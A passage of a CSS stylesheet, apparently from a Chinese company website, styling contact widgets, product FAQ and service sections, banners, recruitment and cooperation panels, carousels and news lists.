color: #fff;
padding-left: 35px;
margin-left: 5px;
background: url(../images/location.png) no-repeat center left
}
.inner-footer {
margin-top: 70px
}
li,ul {
list-style: none;
margin: 0
}
a {
text-decoration: none
}
.contact {
position: fixed;
top: 50%;
z-index: 9999;
width: 93px;
margin-top: -210px;
overflow: visible
}
.qq_content {
float: left;
padding-top: 28px;
cursor: pointer;
overflow: visible
}
.qq_content ul {
position: absolute;
top: 75px;
width: 76px;
right: 8px
}
.qq_content ul li {
padding-top: 56px;
text-align: center;
transition: all .4s;
-o-transition: all .4s;
-webkit-transition: all .4s;
-moz-transition: all .4s
}
.qq_content ul li:hover {
background: rgba(255,255,255,.4)
}
.qq_content ul li:hover a {
opacity: .7
}
.qq_content ul li:first-child {
padding-top: 25px;
line-height: 18px
}
.qq_content ul li a {
color: #333;
transition: all .4s;
-o-transition: all .4s;
-webkit-transition: all .4s;
-moz-transition: all .4s
}
button,img,input,select {
vertical-align: middle;
outline: 0
}
.contact_on .address_message {
width: 140px;
height: 36px;
padding: 14px 20px;
border: 1px solid #333;
position: absolute;
font-size: 12px;
color: #666;
right: 92px;
top: 310px;
background: #fff;
display: none;
border-radius: 10px;
line-height: 18px
}
.contact_on .address_message span {
color: #333;
font-weight: 700
}
.prod-ques .ques-list p {
line-height: 70px;
font-size: 16px;
text-indent: 15px
}
.prod-ques .qq {
color: #3b200c;
background-size: 4%
}
.prod-ques .aa {
margin-left: 75px;
background-size: 4%
}
.prod-ques .zixun {
background: #f5f5f5;
font-size: 16px;
margin-bottom: 30px;
padding: 20px
}
.prod-ques .zixun a {
color: #fff;
margin-left: 30px;
background: rgba(51,51,51,1);
padding: 4px 15px
}
.prod-ques {
text-align: left;
margin: 0 auto 50px
}
.prod-chejian {
position: relative;
height: 650px;
background-color: #f6f6f6
}
.prod-chejian .w2 {
position: absolute;
width: 1190px;
left: 50%;
margin-left: -595px;
text-align: center;
top: 55px
}
.prod-chejian .prod-tit {
font-size: 26px;
color: #333;
text-align: center;
line-height: 26px;
margin-bottom: 37px;
font-family: 'Microsoft YaHei'
}
.prod-chejian p {
font-size: 16px;
color: #666;
text-align: left;
line-height: 36px;
width: 800px;
margin: 0 auto 45px
}
.prod-chejian a {
display: inline-block;
padding: 10px 20px;
font-size: 14px;
line-height: 26px;
border: 1px solid #333;
margin-top: 45px
}
.img-center {
text-align: center
}
.prod-tit {
font-size: 26px;
color: #000;
text-align: center;
line-height: 26px;
margin-bottom: 37px
}
.prod-ques .ques-list-f {
border-top: 1px solid #ccc
}
.prod-ques .ques-list {
border-top: 1px solid #ccc
}
.prod-share {
margin: 0 auto;
background-color: #f4f4f4;
text-align: center
}
.prod-share,.prod-zuhe {
padding: 55px 0
}
.prod-service {
margin: 75px auto 55px;
border-bottom: 1px solid #ccc
}
.fl-n {
display: inline-block;
vertical-align: middle
}
.fl-n img {
width: 50px
}
.fr-n {
display: inline-block;
vertical-align: middle;
padding-left: 10px
}
.prod-service .prod-service-con {
overflow: hidden;
margin-bottom: 25px
}
.prod-service .prod-service-con .prod-service-sec {
overflow: hidden;
width: 306px;
text-align: center;
float: left;
border-right: 1px solid #ccc
}
.prod-service .prod-service-con li:last-child {
border: 0
}
.h2-title {
color: #000;
font-size: 14px;
font-weight: 400;
text-align: left;
padding-bottom: 0
}
.prod-service p.prod-p {
color: #333;
font-size: 12px;
font-weight: 400;
line-height: 20px;
font-family: "���ź�"
}
.prod-px img {
border: 1px solid #000
}
.prod-detail-1 {
border-top: 10px solid #f5f5f5;
margin-top: 50px;
padding-top: 55px
}
.prod-detail-1 li {
margin-bottom: 65px
}
.prod-detail-1 li span {
width: 415px;
padding: 45px 115px;
display: inline-block;
color: #666;
font-size: 16px;
line-height: 30px;
text-align: left;
vertical-align: top
}
.prod-detail-2 {
margin-top: 90px
}
.prod-detail-2 li {
float: left;
margin: 0 75px 75px 0
}
.prod-detail-2 li:nth-of-type(2n) {
margin-right: 0
}
.prod-detail-2 li span {
padding: 30px 17px;
display: inline-block;
width: 240px;
font-size: 14px;
line-height: 26px;
float: left;
text-align: left
}
.prod-detail-2 li img {
float: left
}
.prod-detail-1 {
margin-bottom: 50px
}
.prod-detail-2,.prod-safe {
border-top: 10px solid #f5f5f5;
margin-top: 50px;
padding-top: 55px
}
.prod-safe span {
width: 415px;
padding: 45px 54.5px 45px 54.5px;
display: inline-block;
color: #666;
font-size: 16px;
line-height: 30px;
text-align: left;
vertical-align: top
}
.prod-ques .ques-list p.qq {
font-size: 18px;
color: #000;
background: #f6f6f6
}
.prod-title1 {
color: #000;
font-size: 24px;
font-weight: 400;
display: inline-block;
padding-bottom: 20px
}
.prod-title2 {
color: #000;
font-size: 18px;
font-weight: 400;
display: inline-block;
padding-bottom: 10px
}
.mianze-down-1 {
background: #fff;
width: 895px;
margin: 0 auto;
overflow: hidden;
margin-top: 50px
}
.mianze-down-1 .youbian-1,.mianze-down-1 .zuobian-1 {
width: 366px;
padding: 0 40px;
float: left;
text-align: left
}
.mianze-down-1 .youbian-1 {
border-left: 1px solid #cecece
}
.mianze-down-1 a {
clear: both;
margin-top: 60px;
width: 88px;
background: 0 0;
font-size: 16px;
line-height: 32px;
border-radius: 20px;
padding-right: 0;
border: 1px solid #797979
}
.mianze-down-1 .tit-1,.mianze-down-1 dt {
font-size: 20px;
color: #797979;
margin-bottom: 3px
}
.mianze-down-1 dd,.mianze-down-1 p {
font-size: 16px;
line-height: 30px
}
.mianze-down-1 dt {
border-top: 1px solid #aaa;
margin-top: 5px;
padding-top: 9px
}
.mianze-down-1 dt:first-child {
border-top: 0;
margin: 0 0 3px 0;
padding: 0
}
.prod-mianze-1 {
margin: 0 auto 55px auto;
text-align: center;
position: relative;
overflow: hidden
}
.prod-mianze-1 .prod-tit {
padding-top: 55px;
margin-bottom: 30px
}
.prod-mianze-1 span {
padding: 4px 15px;
font-size: 16px;
margin: 0 15px;
display: inline-block
}
.prod-ques .aa,.prod-ques .qq {
background-image: none;
padding-left: 0;
margin-left: 0
}
.prod-ques .prod-tit {
margin-top: 55px
}
.prod-ques div:last-child {
border-bottom: 1px solid #ccc
}
.clearfix:after {
content: '';
display: block;
clear: both
}
.im-big-img {
height: 540px;
position: relative;
width: 100%;
overflow: hidden
}
.im-big-img .im-big-img-banner {
position: absolute;
width: 300%;
height: 100%
}
.im-big-img .im-big-img-banner li {
float: left;
width: 33.33%;
height: 100%;
position: absolute
}
.im-big-img .im-big-img-banner li img {
width: 100%;
height: 100%
}
.im-big-img .im-big-img-banner li div {
position: absolute;
left: 25%;
top: 35%;
right: 10%;
color: #fff
}
.im-big-img .im-big-img-banner li div h2 {
text-align: left;
color: #fff;
font-weight: 700;
font-size: 40px;
padding: 0;
line-height: 40px
}
.im-big-img .im-big-img-banner li div p {
font-size: 16px;
padding-top: 20px;
width: 80%;
line-height: 24px
}
.company .com-title {
text-align: center;
font-size: 32px;
color: #373d41;
line-height: 232px
}
.company .com-adv,.company .com-intro {
padding-bottom: 116px
}
.company .com-intro .com-intro-c ul {
overflow: hidden
}
.company .com-intro .com-intro-c ul li {
float: left;
width: 25%;
box-sizing: border-box;
border-right: 2px #f2f3f3 solid;
text-align: center;
line-height: 120px;
font-size: 54px;
color: #000
}
.company .com-intro .com-intro-c ul li:last-child {
border: 0
}
.company .com-intro .com-intro-c ul li span {
display: block;
font-size: 14px;
line-height: 34px;
margin-top: 14px;
font-weight: 700
}
.company .com-intro .com-intro-c p {
margin-top: 20px;
font-size: 14px;
line-height: 24px;
color: #4a4a4a;
text-align: justify
}
.company .com-intro .com-intro-c p:nth-child(2) {
margin-top: 103px
}
.company .com-adv {
background: #f5f5f6
}
.company .com-adv .com-adv-c {
overflow: hidden;
box-shadow: 0 2px 15px 0 rgba(0,0,0,.15);
background: #fff
}
.company .com-adv .com-adv-c-l {
width: 282px;
height: 424px;
background: #f5f5f6
}
.company .com-adv .com-adv-c-l li {
border-right: 1px solid #d7d8d9;
height: 64px;
line-height: 64px;
color: #333;
font-size: 14px;
cursor: pointer;
padding-left: 36px;
text-align: left
}
.company .com-adv .com-adv-c-l li:hover {
color: #ffc252
}
.company .com-adv .com-adv-c-l li.on {
background: #fff;
color: #ffc252;
border-left: 4px solid #ffc252;
position: relative;
padding-left: 32px;
border-right: 0;
border-top: 1px solid #d7d8d9;
border-bottom: 1px solid #d7d8d9;
height: 62px;
line-height: 62px
}
.company .com-adv .com-adv-c-r {
width: 830px;
height: 344px;
padding: 40px;
border-left: 1px solid #d7d8d9;
margin-left: -1px
}
.company .com-adv .com-adv-c-r>ul>li {
display: none
}
.company .com-adv .com-adv-c-r>ul>li:first-child {
display: block
}
.company .com-adv .com-adv-c-r li {
padding: 0 60px;
text-align: left
}
.company .com-adv .com-adv-c-r li h3 {
color: #333;
font-size: 16px;
margin-bottom: 12px
}
.company .com-adv .com-adv-c-r li ul {
margin-bottom: 16px
}
.company .com-adv .com-adv-c-r li ul li {
padding: 0;
color: #666;
line-height: 24px;
font-size: 14px
}
.about-b-img {
height: 470px;
overflow: hidden;
position: relative;
background: linear-gradient(transparent 25%,rgba(30,30,30,.8) 80%,rgba(30,30,30,.95) 90%,#1e1e1e 100%)
}
.about-b-img .about-b-img-mask {
background: #2b3337;
position: absolute;
left: -100px;
right: -100px;
top: -100px;
bottom: -100px;
z-index: -1
}
.about-b-img .about-b-img-bg {
background: url(../images/ft-banner-02.jpg) no-repeat;
background-size: 100%;
position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
z-index: -2;
transform: translateY(-70px);
transition: all 2s ease
}
.about-b-img .w-1228 {
padding-top: 100px;
color: #fff
}
.about-b-img .w-1228 h2 {
font-size: 40px;
font-weight: 400;
height: 60px;
line-height: 60px;
text-align: left;
color: #fff
}
.about-b-img .w-1228 p {
font-size: 14px;
margin-top: 15px;
width: 740px
}
.about-b-img .w-1228 a {
display: inline-block;
margin-top: 25px;
color: #fff;
background: #ffc252;
padding: 0 40px;
height: 36px;
line-height: 36px;
font-size: 14px
}
.about-b-img .about-b-img-fo {
position: absolute;
bottom: 0;
left: 0;
width: 100%;
height: 50px;
line-height: 50px
}
.about-b-img .about-b-img-fo ul {
text-align: center
}
.about-b-img .about-b-img-fo ul li {
display: inline-block;
padding: 0 30px
}
.about-b-img .about-b-img-fo ul li a {
color: #9b9ea0;
font-size: 14px;
transition: none
}
.about-b-img .about-b-img-fo ul li a:hover {
color: #ffc252
}
#inner-container .goodness,#inner-container .in-op-spe,#inner-container .speed {
padding: 30px 0
}
#inner-container .goodness .gdn-c,#inner-container .speed .spe-c {
text-align: center
}
#inner-container .goodness .gdn-c p,#inner-container .speed .spe-c p {
font-size: 16px;
color: #373d41;
line-height: 1.6;
width: 700px;
margin: 0 auto
}
#inner-container .goodness .gdn-c img {
width: 70%
}
#inner-container .inner-operation .title-spe {
width: auto
}
#inner-container .title {
width: 370px;
margin: 0 auto;
text-align: center;
font-size: 26px;
font-weight: 400;
color: #000;
padding: 0 30px;
background: #fff;
position: relative;
z-index: 1
}
#inner-container .title-spe {
width: auto
}
#inner-container .about-co {
padding: 30px 0
}
#inner-container .about-co-c {
margin-bottom: 70px
}
#inner-container .about-co-c ul li {
float: left;
width: 49%;
margin: 0 2% 30px 0;
box-sizing: border-box;
border: 1px solid #eaeaea;
padding: 25px;
transition: all .4s ease
}
#inner-container .about-co-c ul li:hover {
border: 1px solid #ccc;
box-shadow: 0 0 4px 1px #ccc
}
#inner-container .about-co-c ul li:nth-of-type(2n) {
margin-right: 0
}
#container .cooperation .co-plan ul li:last-child,#inner-container .about-co-c ul li:nth-child(3) {
margin-bottom: 0
}
#inner-container .about-co-c ul li .co-tit {
font-size: 18px;
font-weight: 700;
margin-bottom: 10px;
color: #262829
}
#inner-container .about-co-c ul li .co-des {
display: block;
font-size: 14px;
color: #262829;
margin-bottom: 10px
}
#inner-container .about-co-c ul li a {
display: inline-block;
border: 1px solid #ffc252;
width: 120px;
text-align: center;
padding: 4px 0;
margin-right: 15px;
font-size: 14px;
color: #ffc252;
transition: all .4s ease
}
#inner-container .about-co-c ul li a:hover {
background: #ffc252;
color: #fff
}
#inner-container .about-co-c ul li a.on {
background: #ffc252;
color: #fff;
transition: all .4s ease
}
#inner-container .about-co-c ul li a.on:hover {
background: #f7b234
}
.join-us {
background: url(../images/join-banner.jpg) no-repeat;
background-size: cover;
height: 200px
}
.join-us .join-l {
padding-top: 54px;
color: #fff
}
.join-us .join-l h2 {
font-size: 36px;
height: 42px;
line-height: 42px;
font-weight: 400;
text-align: left;
color: #fff
}
.join-us .join-l p {
margin-top: 14px;
font-size: 14px;
line-height: 26px
}
.join-content .join-c-bot h2,.join-content .join-c-top h2 {
font-weight: 400;
font-size: 24px;
height: 42px;
line-height: 42px
}
.join-content .join-c-top {
padding: 40px 0;
text-align: center;
color: #fff;
background: url(../images/join-bg.jpg) no-repeat;
background-size: cover;
background-attachment: fixed
}
.join-content .join-c-top .join-c-top-c {
text-align: left
}
.join-content .join-c-top .join-c-top-c li {
padding: 100px 0
}
.join-content .join-c-top .join-c-top-c h3 {
padding-left: 50px;
font-size: 20px;
height: 48px;
line-height: 48px;
font-weight: 400
}
.join-content .join-c-top .join-c-top-c p {
padding-left: 200px;
font-size: 16px;
line-height: 30px
}
.join-content .join-c-bot {
padding: 40px 0;
text-align: center
}
.join-content .join-c-bot h2 {
color: #373d41
}
.join-content .join-c-bot p {
font-size: 16px;
margin-bottom: 40px
}
.join-content .join-c-bot .join-c-bot-c {
overflow: hidden
}
.join-content .join-c-bot .j-c-b-c-l {
width: 282px;
height: 424px;
border: 1px solid #d7d8d9
}
.join-content .join-c-bot .j-c-b-c-l li {
border-bottom: 1px solid #d7d8d9;
height: 52px;
line-height: 52px;
color: #333;
font-size: 14px;
cursor: pointer;
padding-left: 36px;
text-align: left
}
.join-content .join-c-bot .j-c-b-c-l li:hover {
color: #ffc252
}
.join-content .join-c-bot .j-c-b-c-l li.on {
color: #00a2ca;
border-left: 2px solid #ffc252;
background: #f5f5f5;
position: relative;
left: -1px;
padding-left: 38px
}
.join-content .join-c-bot .j-c-b-c-r {
width: 830px;
height: 344px;
border: 1px solid #d7d8d9;
padding: 40px
}
.join-content .join-c-bot .j-c-b-c-r>ul>li {
display: none
}
.join-content .join-c-bot .j-c-b-c-r>ul>li:first-child {
display: block
}
.join-content .join-c-bot .j-c-b-c-r li {
padding: 0 60px;
text-align: left
}
.join-content .join-c-bot .j-c-b-c-r li h3 {
color: #333;
font-size: 14px;
margin-bottom: 12px
}
.join-content .join-c-bot .j-c-b-c-r li ul {
margin-bottom: 16px;
height: 90px;
overflow-y: auto
}
.join-content .join-c-bot .j-c-b-c-r li ul li {
padding: 0;
color: #666;
line-height: 24px;
font-size: 12px
}
#inner-container .inner-title {
position: relative;
height: 50px;
line-height: 50px;
padding: 20px 0
}
#inner-container .title {
margin: 0 auto;
text-align: center;
font-size: 26px;
font-weight: 400;
color: #000;
padding: 0 30px;
background: #fff;
position: relative;
z-index: 1
}
#inner-container .co-plan {
padding: 50px 0
}
#inner-container .co-plan ul li {
float: left;
width: 49%;
margin: 0 2% 30px 0;
box-sizing: border-box;
border: 1px solid #eaeaea;
padding: 25px;
transition: all .4s ease
}
#inner-container .co-plan ul li:hover {
border: 1px solid #ccc;
box-shadow: 0 0 4px 1px #ccc
}
#inner-container .co-plan ul li:nth-of-type(2n) {
margin-right: 0
}
#inner-container .co-plan ul li:last-child,#inner-container .co-plan ul li:nth-child(3) {
margin-bottom: 0
}
#inner-container .co-plan ul li .co-tit {
font-size: 18px;
font-weight: 700;
margin-bottom: 10px;
color: #262829
}
#inner-container .co-plan ul li .co-des {
display: block;
font-size: 14px;
color: #262829;
margin-bottom: 10px
}
#inner-container .co-plan-new ul li .co-des {
height: 110px
}
#inner-container .co-plan-spe ul li .co-des {
height: 210px
}
#inner-container .co-plan ul li a {
display: inline-block;
border: 1px solid #ffc252;
width: 120px;
text-align: center;
padding: 4px 0;
margin-right: 15px;
font-size: 14px;
color: #ffc252;
transition: all .4s ease
}
#inner-container .co-plan ul li a:hover {
background: #ffc252;
color: #fff
}
#inner-container .co-plan ul li a.on {
background: #ffc252;
color: #fff;
transition: all .4s ease
}
#inner-container .co-plan ul li a.on:hover {
background: #33cde5
}
#inner-container .about-co .title,#inner-container .advantages .title {
background: 0 0
}
#inner-container .advantages {
padding: 30px 0 50px;
background: #f5f5f5
}
#inner-container .advantages .adv-c {
padding-top: 70px
}
#inner-container .advantages .adv-c li {
float: left;
width: 25%;
box-sizing: border-box;
text-align: center
}
#inner-container .advantages .adv-c li img {
width: 55px;
margin-bottom: 15px
}
#inner-container .advantages .adv-c li h2 {
margin-bottom: 5px;
color: #373d41;
line-height: 28px;
font-size: 16px
}
#inner-container .advantages .adv-c li p {
color: #a9b0b4;
font-size: 14px;
line-height: 22px;
width: 250px;
margin: 0 auto
}
#inner-container .in-tit-p {
text-align: center;
font-size: 16px;
color: #5f6367;
margin-top: -10px
}
#inner-container .about-co-c-new {
margin-top: 70px
}
.neiye-banner2 {
width: 100%;
position: relative
}
.neiye-banner2 img {
width: 100%
}
.neiye-banner2 .contact-us-text {
width: 100%;
text-align: center;
position: absolute;
left: 50%;
margin-left: -50%;
top: 20%
}
.neiye-banner2 .contact-us-text h2 {
font-size: 36px;
font-weight: 700
}
.neiye-banner2 .contact-us-text .des {
font-size: 14px;
padding: 10px 0;
color: #000
}
.neiye-banner2 .contact-us-text .tel {
font-size: 18px;
color: #000
}
.spe-tit {
margin-bottom: -80px
}
.web-list {
margin-bottom: 50px
}
.web-list ul {
overflow: hidden
}
.web-list ul li {
width: 16%;
float: left;
margin: 0 5% 20px 0;
box-sizing: border-box;
padding: 20px 30px;
text-align: center
}
.web-list ul li:nth-of-type(5n) {
margin-right: 0
}
.company .w-1228 .web-list ul li img {
width: 60px;
height: 60px
}
.web-list ul li p {
padding: 10px 0 0
}
.web-list ul li img {
width: 60px;
height: 60px
}
.inner-product-con {
padding: 60px 0
}
#inner-container .inner-title .hr {
width: 100%;
height: 1px;
background: #ccc;
position: absolute;
top: 50%;
margin-top: -.5px
}
#inner-container .in-in-title .in-title {
text-align: center;
font-weight: 400;
color: #373d41;
font-size: 22px;
margin-bottom: 60px
}
#inner-container .inner-product-con .in-f-c-c ul {
overflow: hidden;
margin-bottom: 30px
}
#inner-container .inner-product-con .in-f-c-c ul li {
float: left;
width: 22.75%;
height: 265px;
margin-right: 3%;
box-sizing: border-box;
border: 1px solid #eaeaea;
margin-top: 30px
}
#inner-container .inner-product-con .in-f-c-c ul li:nth-of-type(4n) {
margin-right: 0
}
#inner-container .inner-product-con .in-f-c-c ul li:hover {
border: 1px solid #ffc252
}
#inner-container .inner-product-con .in-f-c-c ul li a {
display: inline-block;
width: 100%;
height: 100%;
text-align: center
}
#inner-container .inner-product-con .in-f-c-c ul li a:hover {
color: #000
}
#inner-container .inner-product-con .in-f-c-c ul li a .img {
padding: 40px 0 0
}
#inner-container .inner-product-con .in-f-c-c ul li a .img img {
width: 60px
}
#inner-container .inner-product-con .in-f-c-c ul li a .f-tit {
font-size: 18px;
padding: 10px 0;
color: #000
}
#inner-container .inner-product-con .in-f-c-c ul li a .f-des {
display: inline-block;
color: #666;
width: 70%
}
#inner-container #xiangmu .in-title {
margin-top: 80px
}
#inner-container .text-content {
width: 800px;
margin: 0 auto;
margin-bottom: 80px
}
#inner-container .text-content>p {
font-size: 14px
}
#inner-container .zllc-con {
margin: 50px 0
}
#inner-container .zllc-con ul {
overflow: hidden;
text-align: center
}
#inner-container .zllc-con li {
float: left;
width: 16.66%;
position: relative
}
#inner-container .zllc-con li h2 {
font-size: 14px;
background: #61c1cc;
color: #fff;
height: 28px;
line-height: 28px;
padding-bottom: 0;
width: 50%;
margin: 0 auto
}
#inner-container .zllc-con li p {
margin-top: 30px;
color: #b4b4b5
}
#inner-container .zllc-con li .arr-r {
position: absolute;
right: 0;
margin-right: -7.5px;
top: 50px
}
#inner-container .jsal-con {
overflow: hidden;
padding: 50px 0
}
#inner-container .jsal-con .jsal-con-imgs {
position: relative;
height: 121px;
cursor: pointer
}
#inner-container .jsal-con .jsal-con-imgs ul {
overflow: hidden;
width: 200%;
position: absolute
}
#inner-container .jsal-con .jsal-con-imgs ul li {
float: left;
width: 10%;
text-align: center
}
#inner-container .jsal-con .jsal-con-text {
margin-top: 100px
}
#inner-container .jsal-con .jsal-con-text p {
line-height: 2.5;
font-size: 16px;
color: #3e3a39;
text-align: center
}
#inner-container .inner-product table {
margin: 0 auto
}
#inner-container .inner-product table td {
text-align: center;
border: 1px solid #ccc
}
#inner-container .icon-small ul {
text-align: center;
margin-bottom: 50px
}
#inner-container .icon-small ul li {
display: inline-block;
width: 100px;
padding: 0 30px;
vertical-align: top
}
#inner-container .icon-small ul li img {
width: 40px
}
#inner-container .icon-small ul li p {
font-size: 16px;
height: 44px;
margin-top: 20px
}
#inner-container .desc {
font-size: 14px;
line-height: 24px;
color: #5f6367;
text-align: center;
padding-top: 20px
}
.pad-50 {
padding: 50px 0
}
.pad-t-40 {
padding-top: 40px
}
#inner-container .ser-art-con .ser-art-con-l {
float: left;
padding-left: 50px
}
#inner-container .ser-art-con .ser-art-con-r {
float: right;
padding-right: 50px
}
#inner-container .ser-art-con .ser-art-con-r li {
height: 92px;
width: 562px;
margin-bottom: 25px;
transition: all .2s ease-in-out;
cursor: pointer
}
#inner-container .ser-art-con .ser-art-con-r li:hover {
background: #2588d9;
box-shadow: 5px 5px 5px #888
}
#inner-container .ser-art-con .ser-art-con-r li:hover .ser-art-con-r-t {
border-right: 1px solid #fff
}
#inner-container .ser-art-con .ser-art-con-r li:hover .ser-art-con-r-p,#inner-container .ser-art-con .ser-art-con-r li:hover .ser-art-con-r-t {
color: #fff
}
#inner-container .ser-art-con .ser-art-con-r li>div {
display: inline-block
}
#inner-container .ser-art-con .ser-art-con-r .ser-art-con-r-t {
font-size: 22px;
color: #666;
width: 80px;
margin-top: 25px;
text-align: center;
border-right: 1px solid #ccc;
line-height: 40px;
vertical-align: top;
transition: all .2s ease-in-out
}
#inner-container .ser-art-con .ser-art-con-r .ser-art-con-r-p {
font-size: 12px;
color: #888;
line-height: 25px;
margin: 20px 0 0 15px;
transition: all .2s ease-in-out
}
#inner-container .air-st-con {
padding: 50px 0
}
#inner-container .air-st-con table {
margin: 0 auto
}
#inner-container .air-st-con td {
border: 1px solid #000;
text-align: center;
color: #000;
font-size: 14px
}
#inner-container .air-st-con td.tb-tit {
font-weight: 700
}
#inner-container .air-st-con tr td {
padding: 10px 50px
}
#inner-container .air-st-con tr td:first-child {
width: 100px;
padding: 10px 0
}
#inner-container .air-st-con .tb-tip {
width: 933px;
margin: 0 auto
}
#inner-container .air-st-con .tb-tip p {
line-height: 36px;
font-size: 14px
}
#inner-container .air-st-con .tb-tip p.tb-tip-two {
text-indent: 2.5em
}
#inner-container .air-st-con .tb-tip p span {
color: #c00000;
font-weight: 700
}
#inner-container .test-en-con {
padding: 50px 0
}
#inner-container .test-en-con ul {
text-align: center
}
#inner-container .test-en-con ul li {
display: inline-block;
padding: 20px;
cursor: pointer;
transition: all .4s ease
}
#inner-container .test-en-con ul li:hover {
box-shadow: 0 0 5px 1px rgba(0,0,0,.5)
}
#inner-container .test-en-con ul li span {
display: block;
width: 20px;
height: 2px;
background: #ffc252;
margin: 20px auto
}
#inner-container .test-en-con ul li p {
font-size: 18px
}
#inner-container .ser-pro-con .co-des {
height: 44px
}
#inner-container .ne-ready-con {
overflow: hidden;
padding: 50px 0
}
#inner-container .ne-ready-con-l {
float: left
}
#inner-container .ne-ready-con-r {
float: right
}
#inner-container .ne-ready-con-l li {
padding: 10px 20px;
border-left: 1px solid #ffc252;
margin-bottom: 50px
}
#inner-container .ne-ready-con-l li h2,#inner-container .ne-ready-con-l li p {
display: inline-block
}
#inner-container .ne-ready-con-l li h2 {
font-size: 30px;
color: #ffc252;
padding-right: 20px
}
#inner-container .ne-ready-con-l li p {
line-height: 20px;
font-size: 14px;
vertical-align: top
}
.h2_com {
font-size: 24px;
color: #000
}
.h2_com em {
display: inline-block;
height: 30px;
padding: 0;
line-height: 30px;
padding-bottom: 6px;
font-weight: 400;
margin-top: 60px;
border-bottom: 1px solid #ccc
}
.h2_com p {
text-align: center;
font-size: 13px;
font-weight: 400;
padding-top: 5px;
color: #666
}
.index-news .h2_com {
margin-bottom: 50px
}
.index-friends .h2_com,.index-hezuo .h2_com,.index-news .h2_com,.index-xinwen .h2_com {
margin: 65px auto 20px
}
.index-fenlei {
text-align: center;
margin: 10px auto 25px;
line-height: 15px
}
.index-fenlei a {
font-size: 14px;
padding: 0 15px;
color: #333;
border-right: 1px solid #999;
height: 14px;
display: inline-block
}
.index-fenlei a:hover {
color: #333
}
.index-fenlei a:last-child {
border: none
}
.service-icon ul {
text-align: center
}
.service-icon ul li {
display: inline-block;
margin: 0 40px
}
.service-icon ul li a {
padding: 0 80px
}
.service-icon ul li .img {
width: 60px;
margin: 0 auto
}
.service-icon ul li .text {
padding: 10px 0;
font-size: 14px
}
.ali {
width: 100%;
background: #373d41
}
.w-spe {
width: 1440px;
height: 420px;
margin: 0 auto;
overflow: hidden;
position: relative
}
.ali ul {
overflow: hidden;
position: absolute;
top: 0;
left: 0
}
.ali ul li {
width: 288px;
float: left;
position: relative;
cursor: pointer
}
.ali ul li .mask {
position: absolute;
z-index: 4;
width: 100%;
top: 0;
bottom: 0;
transition: all .4s cubic-bezier(.4,0,.2,1)
}
.ali ul li .ali-div {
position: absolute;
width: 100%;
bottom: -60px;
text-align: center;
transition: all .4s cubic-bezier(.4,0,.2,1);
z-index: 5
}
.ali ul li .ali-div img {
width: 67px
}
.ali ul li .ali-div p.item-l {
margin: 25px 0 25px;
transition: all .4s cubic-bezier(.4,0,.2,1)
}
.ali ul li .ali-div p.item-l i {
display: inline-block;
width: 20px;
height: 2px;
background: #fff
}
.ali ul li .ali-div p.item-t {
font-size: 22px;
color: #fff;
font-weight: 700;
margin-bottom: 30px
}
.ali ul li .ali-div p.item-p {
font-size: 14px;
color: #fff;
margin-bottom: 100px;
padding: 0 23px;
opacity: 0;
transition: all .4s cubic-bezier(.4,0,.2,1)
}
.ali ul li .ali-div span {
display: inline-block;
padding: 7px 40px;
border: 1px solid #fff;
font-size: 14px;
color: #fff;
opacity: 0;
transition: all .4s cubic-bezier(.4,0,.2,1)
}
.ali ul li:hover .mask {
background: rgba(255,193,101,.7)
}
.ali ul li:hover .ali-div {
bottom: 70px
}
.ali ul li:hover .ali-div p.item-l {
opacity: 0;
margin: 10px 0 10px
}
.ali ul li:hover .ali-div p.item-p {
opacity: 1;
margin-bottom: 40px
}
.ali ul li:hover .ali-div span {
opacity: 1
}
.ali ul li .ali-div span:hover {
background: #fff;
color: #000
}
.ali-next,.ali-prev {
position: absolute;
top: 0;
bottom: 0;
z-index: 6;
cursor: pointer;
width: 50px;
background: rgba(0,0,0,.3);
line-height: 420px;
font-size: 24px;
color: #fff;
display: none
}
.ali-next img,.ali-prev img {
position: absolute;
left: 50%;
top: 50%;
margin: -15px 0 0 -15px
}
.ali-prev {
left: 0
}
.ali-next {
right: 0
}
.w-spe:hover .ali-next,.w-spe:hover .ali-prev {
display: block
}
.index-product1,.index-product2 {
margin-top: 65px
}
.index-product1 {
text-align: center;
margin: 70px auto 50px
}
.index-product1 .img {
margin-top: 50px
}
.index-product1 .imgli {
margin-right: 50px;
display: inline-block;
position: relative
}
.index-product1 .imgli:nth-of-type(3) {
margin-right: 0
}
.index-product1 .imgli:nth-of-type(3) {
margin-right: 0
}
.index-product1 .p1,.index-product1 .p2 {
position: absolute
}
.index-product1 .p1 {
font-size: 18px;
color: #333;
top: 22px;
left: 0;
right: 0;
margin: auto
}
.index-product1 .p2 {
width: 80%;
font-size: 12px;
color: #333;
top: 52px;
left: 0;
right: 0;
margin: 5px auto auto auto
}
.slideTxtBox ul {
text-align: center
}
.slideTxtBox ul.m-l {
margin-left: 0
}
.slideTxtBox ul li {
float: left;
width: 288px;
margin: 0 22px 20px 0;
line-height: 26px;
display: inline-block
}
.slideTxtBox ul li:last-child {
margin-right: 0
}
.slideTxtBox ul li:nth-child(4n) {
margin-right: 0
}
.slideTxtBox ul li a {
color: #999
}
.slideTxtBox ul li span {
display: block;
text-align: left
}
.slideTxtBox ul li .span1 {
font-size: 15px;
color: #313131;
font-weight: 700;
line-height: 15px;
margin: 25px 0 2px
}
.slideTxtBox ul li .span2 {
font-size: 12px;
color: #999
}
.slideTxtBox ul li.on {
font-size: 18px;
border-bottom: 4px solid #333
}
.slideTxtBox ul li.on a {
color: #333
}
.slideTxtBox ul li img {
width: 100%;
height: auto
}
.slideTxtBox ul li .titl {
display: block;
line-height: 40px;
height: 40px;
overflow: hidden;
text-overflow: ellipsis;
margin: 0 auto;
white-space: nowrap;
padding: 0 20px;
background: #f5f5f5
}
.slideTxtBox ul li .img {
border: 1px solid #eee;
width: 100%;
display: block;
overflow: hidden
}
.slideTxtBox ul li .title {
margin: 18px auto 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
padding: 0 20px;
display: block;
line-height: 12px;
text-align: center;
height: 15px
}
.slideTxtBox ul li img {
width: 100%;
transition: all 1s;
-moz-transition: all 1s;
-webkit-transition: all 1s
}
.slideTxtBox ul li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.slideTxtBox ul li:hover a {
color: #333
}
.in-fr-img img {
width: 99.8%;
height: auto;
border: 1px solid #fff;
margin-top: 20px
}
.index-news-box .h2_com {
margin-bottom: 65px
}
#footer {
background: #333;
padding-top: 30px
}
#footer .fo-con {
overflow: hidden;
